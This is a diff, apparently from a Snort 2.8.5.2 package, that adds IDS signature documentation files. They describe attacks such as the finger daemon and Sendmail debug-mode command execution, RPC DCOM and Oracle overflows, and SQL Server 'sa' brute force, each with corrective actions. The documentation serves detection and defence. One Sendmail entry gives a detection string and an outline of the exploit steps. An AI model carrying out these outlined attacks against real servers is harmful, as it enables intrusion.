+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running Internet Security Scanner "pinger" software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS158
+
+--
--- snort-2.8.5.2.orig/doc/signatures/327.txt
+++ snort-2.8.5.2/doc/signatures/327.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 327
+
+-- 
+
+Summary: 
+This event is generated when a remote command execution exploit against a finger daemon is attempted.
+
+-- 
+
+Impact: 
+Serious. The attacker may be presented with the opportunity to run a command of his choice on the target UNIX system
+
+--
+Detailed Information:
+This event is generated when a specific attack against a vulnerable version of the finger daemon is detected. 
+
+The Finger daemon is used to provide information about users on a UNIX system. It used to be installed and enabled by default on most UNIX/Linux systems. The attack may allow an attacker to execute a command remotely on a target system with the privileges of the user running the "finger" daemon. The user is usually defined in the /etc/inetd.conf file and is commonly designated as "nobody".
+
+--
+Attack Scenarios: 
+An attacker may try the attack and then executes a command to download a backdoor to the target system. He then connects to the system and may attempt to escalate his privileges by exploiting a local SUID application to gain "root" privileges.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software is required, just a specially formatted finger query
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0152
+
+Arachnids:
+http://www.whitehats.com/info/IDS380
+
+Bugtraq:
+http://online.securityfocus.com/bid/2220
+
+--
--- snort-2.8.5.2.orig/doc/signatures/337.txt
+++ snort-2.8.5.2/doc/signatures/337.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+337
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a buffer overflow vulnerability in the IBM AIX FTP daemon.
+
+--
+Impact:
+Remote execution of arbitrary code leading to remote root compromise.
+
+--
+Detailed Information:
+The IBM AIX 4.3.x FTP daemon contains a buffer overflow vulnerability. An attacker can send an overly long string in the CEL command, causing a buffer overflow condition and allowing the attacker to execute arbitrary code.
+
+--
+Affected Systems:
+IBM AIX 4.3.x
+
+--
+Attack Scenarios:
+An attacker sends a suspiciously large amount of data to the FTP server in the CEL command, causing a buffer overflow condition. The attacker can then execute arbitrary code to obtain root privileges.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the patch provided by IBM. See http://www-1.ibm.com/services/continuity/recover1.nsf/MSS/ERS-SVA-E01-1999.004.1/$file/sva004.txt for an advisory and information about obtaining the patch.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+IBM
+http://www-1.ibm.com/services/continuity/recover1.nsf/MSS/ERS-SVA-E01-1999.004.1/$file/sva004.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/663.txt
+++ snort-2.8.5.2/doc/signatures/663.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+663
+
+--
+Summary:
+This event is generated when the string "|sed -e '1,/^$/'" is found in the payload of a packet sent to a Sendmail server.  This may be an attempt to exploit a problem in older versions of Sendmail. 
+
+--
+Impact:
+Attempted administrator access.  A successful attack can allow remote execution of commands at the privilege level of Sendmail, usually root.
+
+--
+Detailed Information:
+A vulnerability exists in older versions of Sendmail associated with the debug mode.  Malformed text specifying the recipient could be a command that would execute at the privilege level of Sendmail, often times root.  The "sed" command is used to strip off the mail headers before executing the supplied command.  This vulnerability was exploited by the Morris worm.
+
+--
+Affected Systems:
+Sendmail versions prior to 5.5.9.
+
+--
+Attack Scenarios:
+An attacker can craft a recipient name that is a command. This command executes arbitrary code on the server. 
+
+--
+Ease of Attack:
+Easy.  An attacker can telnet to port 25 of a vulnerable server, enter debug mode, and craft a malicious recipient containing a command to be executed.
+
+--
+False Positives:
+It is possible that this event may be generated by text in the DATA section of a pipelined SMTP transaction.
+
+--
+False Negatives:
+This rule generates an event based on a specific string in the packet payload.  An attacker could craft payloads with other malicious commands.
+
+--
+Corrective Action:
+Upgrade to Sendmail version 5.5.9 or higher.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0095
+
+Arachnids:
+http://www.whitehats.com/info/IDS172
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3392.txt
+++ snort-2.8.5.2/doc/signatures/3392.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3392
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-16.txt
+++ snort-2.8.5.2/doc/signatures/119-16.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-16
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of an oversized chunk encoded request. This may be an indicator of
+an attack against a web server.
+
+This event may also indicate the use of http tunneling.
+
+--
+Affected Systems:
+	Apache
+
+--
+Attack Scenarios: 
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3343.txt
+++ snort-2.8.5.2/doc/signatures/3343.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3343
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2674.txt
+++ snort-2.8.5.2/doc/signatures/2674.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2674
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_delete_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1224.txt
+++ snort-2.8.5.2/doc/signatures/1224.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1224
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/612.txt
+++ snort-2.8.5.2/doc/signatures/612.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+612
+
+--
+Summary:
+This event is generated when a request is made via Remote Procedure Call (RPC) to list the logged in users. 
+
+--
+Impact:
+Reconnaissance.  A response to this request provides valid user names that can connect to the host.  
+
+--
+Detailed Information:
+The rusers RPC query is used to discover the users currently logged on to the host.  A response to this request provides valid user names that can connect to the host.  This information can be used to attempt a brute force guessing of associated passwords.
+
+--
+Affected Systems:
+All systems running rusers.
+
+--
+Attack Scenarios:
+An attacker may attempt to list all logged in users to gather information for a future brute force password attack.
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list users, this will generate a false positive.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0626
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1696.txt
+++ snort-2.8.5.2/doc/signatures/1696.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1696
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1132.txt
+++ snort-2.8.5.2/doc/signatures/1132.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1132
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3328.txt
+++ snort-2.8.5.2/doc/signatures/3328.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3328
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3284.txt
+++ snort-2.8.5.2/doc/signatures/3284.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3284
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2680.txt
+++ snort-2.8.5.2/doc/signatures/2680.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2680
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure subindexpopulate
+. This procedure is included in
+ctxsys.driddlr.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2077.txt
+++ snort-2.8.5.2/doc/signatures/2077.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2077
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Momabo Site Server.
+
+--
+Impact:
+Unauthorized upload of files to a server.
+
+--
+Detailed Information:
+Arbitrary files can be uploaded to a server running vulnerable versions 
+of Mambo Site Server due to laxe checking in the scripts controlling 
+uploading of files.
+
+The scripts perform checks for certain file extensions but do not 
+prevent the upload of files with image extensions.
+
+--
+Affected Systems:
+	Mambo Mambo Site Server 4.0.10, 4.0.11 and 4.0.12 BETA
+
+--
+Attack Scenarios:
+The attacker can upload malicious scripts and executable files by 
+appending a valid extension used for an image file.
+
+The attacker can also use the server to store files of his choosing.
+
+--
+Ease of Attack:
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest version of Mambo Site Server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1762.txt
+++ snort-2.8.5.2/doc/signatures/1762.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1762
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3152.txt
+++ snort-2.8.5.2/doc/signatures/3152.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid:
+3152
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access a host running
+Microsoft SQL Server or utilizing MSDE via the default "sa" account.
+
+-- 
+Impact: 
+Information disclosure. Unauthorized access to the host.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access a host via the
+"sa" account using brute force techniques to guess a password.
+
+Microsoft SQL server and MSDE components use a default "sa" account with
+a default password as the administrative user for the database
+installation. This event indicates that numerous failed attempts have
+been made to access the target host using this account.
+
+--
+Affected Systems:
+	Microsoft SQL Server 2000
+	Microsoft SQL Server 7.0
+	Systems using Microsoft MSDE components
+
+--
+Attack Scenarios:  
+An attacker can use an automated script to gain access to a host and the
+database contents as an administrator by repeatly attempting to login
+using the "sa" account and different passwords.
+
+Some worms also try to brute force entry using this methodology.
+
+-- 
+Ease of Attack: 
+Simple,
+
+-- 
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches
+
+Change the default "sa" password
+
+Disable the "sa" account.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/911.txt
+++ snort-2.8.5.2/doc/signatures/911.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+911
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3329.txt
+++ snort-2.8.5.2/doc/signatures/3329.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3329
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000549.txt
+++ snort-2.8.5.2/doc/signatures/100000549.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000549
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Custom Datin Biz" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "u" parameter in the "user_view.php" script 
+used by the "Custom Datin Biz" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Custom Datin Biz
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
